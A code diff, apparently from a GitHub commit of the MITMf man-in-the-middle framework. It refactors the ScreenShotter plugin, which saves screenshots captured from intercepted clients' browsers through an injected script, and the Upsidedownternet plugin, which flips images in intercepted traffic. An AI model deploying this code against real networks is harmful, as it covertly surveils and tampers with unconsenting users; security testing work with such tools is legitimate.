|
||||
with open('./logs/' + img_file, 'wb') as img:
|
||||
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
|
||||
img.close()
|
||||
|
||||
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file))
|
||||
except Exception as e:
|
||||
mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e))
|
||||
if 'saveshot' in request.uri:
|
||||
request.printPostData = False
|
||||
client = request.client.getClientIP()
|
||||
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
||||
try:
|
||||
with open('./logs/' + img_file, 'wb') as img:
|
||||
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
|
||||
img.close()
|
||||
|
||||
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file))
|
||||
except Exception as e:
|
||||
mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e))
|
||||
|
||||
def get_payload(self):
|
||||
canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
|
||||
|
|
|
@ -29,8 +29,6 @@ from cStringIO import StringIO
|
|||
from plugins.plugin import Plugin
|
||||
from PIL import Image, ImageFile
|
||||
|
||||
from configobj import ConfigObj
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class Upsidedownternet(Plugin):
|
||||
|
@ -40,14 +38,6 @@ class Upsidedownternet(Plugin):
|
|||
version = "0.1"
|
||||
has_opts = False
|
||||
|
||||
# @xtr4nge
|
||||
def getStatus(self):
|
||||
self.pluginStatus = ConfigObj("config/plugins.conf")
|
||||
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def initialize(self, options):
|
||||
globals()['Image'] = Image
|
||||
globals()['ImageFile'] = ImageFile
|
||||
|
@ -62,26 +52,25 @@ class Upsidedownternet(Plugin):
|
|||
self.imageType = response.headers['content-type'].split('/')[1].upper()
|
||||
|
||||
def serverResponse(self, response, request, data):
|
||||
if self.getStatus():
|
||||
try:
|
||||
isImage = getattr(request, 'isImage')
|
||||
except AttributeError:
|
||||
isImage = False
|
||||
|
||||
if isImage:
|
||||
try:
|
||||
isImage = getattr(request, 'isImage')
|
||||
except AttributeError:
|
||||
isImage = False
|
||||
|
||||
if isImage:
|
||||
try:
|
||||
#For some reason more images get parsed using the parser
|
||||
#rather than a file...PIL still needs some work I guess
|
||||
p = ImageFile.Parser()
|
||||
p.feed(data)
|
||||
im = p.close()
|
||||
im = im.transpose(Image.ROTATE_180)
|
||||
output = StringIO()
|
||||
im.save(output, format=self.imageType)
|
||||
data = output.getvalue()
|
||||
output.close()
|
||||
mitmf_logger.info("{} [Upsidedownternet] Flipped image".format(response.getClientIP()))
|
||||
except Exception as e:
|
||||
mitmf_logger.info("{} [Upsidedownternet] Error: {}".format(response.getClientIP(), e))
|
||||
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
#For some reason more images get parsed using the parser
|
||||
#rather than a file...PIL still needs some work I guess
|
||||
p = ImageFile.Parser()
|
||||
p.feed(data)
|
||||
im = p.close()
|
||||
im = im.transpose(Image.ROTATE_180)
|
||||
output = StringIO()
|
||||
im.save(output, format=self.imageType)
|
||||
data = output.getvalue()
|
||||
output.close()
|
||||
mitmf_logger.info("{} [Upsidedownternet] Flipped image".format(response.getClientIP()))
|
||||
except Exception as e:
|
||||
mitmf_logger.info("{} [Upsidedownternet] Error: {}".format(response.getClientIP(), e))
|
||||
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue